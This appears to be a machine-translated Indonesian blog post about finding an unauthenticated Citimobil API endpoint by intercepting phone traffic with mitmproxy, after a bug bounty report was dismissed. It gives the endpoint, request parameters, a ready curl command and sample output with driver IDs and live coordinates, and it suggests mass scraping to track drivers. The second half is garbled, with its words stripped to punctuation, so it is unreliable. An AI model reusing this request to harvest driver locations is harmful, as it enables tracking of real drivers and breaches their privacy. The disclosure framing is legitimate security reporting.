Pada Sabtu malam, saya, seperti biasa, duduk dan mengendus lalu lintas dari telepon saya. Tiba-tiba, saat membuka aplikasi Citimobil, saya melihat bahwa satu permintaan menarik sedang dijalankan tanpa otentikasi apa pun.
Itu adalah permintaan informasi tentang mobil-mobil terdekat. Setelah memenuhi permintaan ini beberapa kali dengan parameter yang berbeda, saya menyadari bahwa Anda dapat membongkar data tentang pengemudi taksi hampir secara real time. Bayangkan saja berapa banyak hal menarik yang bisa Anda pelajari sekarang!

Bagaimana semuanya dimulai?
Ya, saya benar-benar duduk dan mengawasi lalu lintas dari telepon. Faktanya adalah saya seorang insinyur, dan saya terus-menerus mempelajari bagaimana teknologi dan berbagai hal di sekitar saya bekerja. Jadi kali ini.
Saya menggunakan
mitmproxy (Man In The Middle Proxy), seorang pria dalam program serangan tengah. Ada banyak instruksi untuk menginstal dan mengonfigurasinya, dan prinsip umumnya adalah ini:
- Sambungkan ke WiFi rumah dari ponsel dan komputer Anda
- Jalankan mitmproxy di komputer
- Di telepon, Anda mendaftarkan alamat lokal komputer sebagai proxy utama (Anda sudah dapat melihat ke dalam http)
- Unduh dan konfirmasi sertifikat di ponsel Anda (memungkinkan Anda melihat ke dalam https)
Sekarang, secara kasar, semua lalu lintas dari telepon masuk terlebih dahulu ke komputer, didekripsi, ditampilkan di layar, dienkripsi dan terus berjalan. Begitu juga sebaliknya.
Dengan cara ini, saya belajar bagaimana berbagai aplikasi dibuat, dan kadang-kadang saya menemukan hal-hal yang sangat menarik. Sebagai contoh, kali ini saya melihat permintaan dari aplikasi Citimobil untuk informasi tentang driver terdekat, yang tidak memerlukan otentikasi.
Bug Bug Mail.ru
Saya menaruh semua informasi pada hackerone dan mengirimkannya untuk ditinjau. Setelah
pengalaman berinteraksi dengan karunia bug Yandex, saya tidak mengandalkan respons cepat, tetapi setelah 3 menit seseorang โ3apa3aโ menutup laporan saya. Kecepatan luar biasa, Mail.ru!
Sebagai tanggapan, mereka menulis bahwa data ditampilkan kepada pengguna dalam aplikasi, yang berarti mereka tidak sensitif dan tidak perlu melindunginya.

Baiklah kalau begitu. Karena ini adalah data publik, mari bersenang-senang!
Bagaimana cara mendapatkan data?
Informasi tentang 10 pengemudi terdekat ke geolokasi dapat diperoleh dengan mengirimkan permintaan POST ke alamat berikut:
https://c-api.city-mobil.ru/getdrivers
- :
{
"latitude": LAT,
"longitude": LON,
"limit": 10,
"method": "getdrivers",
"radius": 5,
"tariff_group": [ 4, 5, 6 ],
"ver": "4.33.0"
}
tariff_group โ . , , , ..
radius limit , , .
, :
curl -X POST --data '{ "latitude": 55.7, "limit": 10, "longitude": 37.6, "method": "getdrivers", "radius": 5, "tariff_group": [4], "ver": "4.33.0" }' https://c-api.city-mobil.ru/getdrivers
JSON 10 (LAT, LON) :
{
"drivers":[
{
"id":"1c1f6779f893af6fe5bf4509af7366cd",
"lt":"55.7025061",
"ln":"37.5954334",
"direction":"3",
"CarColorCode":"000000",
"car_type":"comfort_plus"
},
{
"id":"1a13d0daad9b6a3fa2b3d04a5b6f8c2a",
"lt":"55.7019682",
"ln":"37.6054896",
"direction":"3",
"CarColorCode":"000000",
"car_type":"comfort"
},
{
"id":"c7c1634fae41a68924083af1d496d0a7",
"lt":"55.7014223",
"ln":"37.6067352",
"direction":"3",
"CarColorCode":"000000",
"car_type":"comfort_plus"
},
{
"id":"f15ce054ccdaa268b16a0904b9eecdae",
"lt":"55.6956527",
"ln":"37.5972063",
"direction":"4",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"94ebc0fcc644bb1da4b57e7d23942e6d",
"lt":"55.694786",
"ln":"37.5982642",
"direction":"4",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"7251c45ee945c9cb839d69d5902b9f17",
"lt":"55.7009351",
"ln":"37.6094206",
"direction":"3",
"CarColorCode":"000000",
"car_type":"comfort"
},
{
"id":"cb9dab2ba7379c3db817dd76ec68e6c5",
"lt":"55.6950137",
"ln":"37.6041883",
"direction":"8",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"761891d9c1129b1678c3eba616249e2b",
"lt":"55.6944542",
"ln":"37.5951122",
"direction":"2",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"4f0e835751cadaa5d5386f0e1374f315",
"lt":"55.7066516",
"ln":"37.6011767",
"direction":"7",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"2eb330cad5e5d9c87e6d0600a9ff10e8",
"lt":"55.7066801",
"ln":"37.6009127",
"direction":"8",
"CarColorCode":"000000",
"car_type":"comfort"
}
],
"nearest":{
"duration":420
},
"service_status":1
}
,
{
"id":"2eb330cad5e5d9c87e6d0600a9ff10e8",
"lt":"55.7066801",
"ln":"37.6009127",
"direction":"8",
"CarColorCode":"000000",
"car_type":"comfort"
}
, , , (-), . !
!
, 10 , N , N .
. , , , . , โ mail.ru ip.
ยซยป, . .
, ?
11
4374? .

. ?
- .
, . .
?
, .
-, ยซยป.
-, (, .) . , . , , .
-, , . . ,
, ยซยป, , ., .
Mail.ru , , ., . .
Mail.ru , , bug bounty.
?
, ! , .
!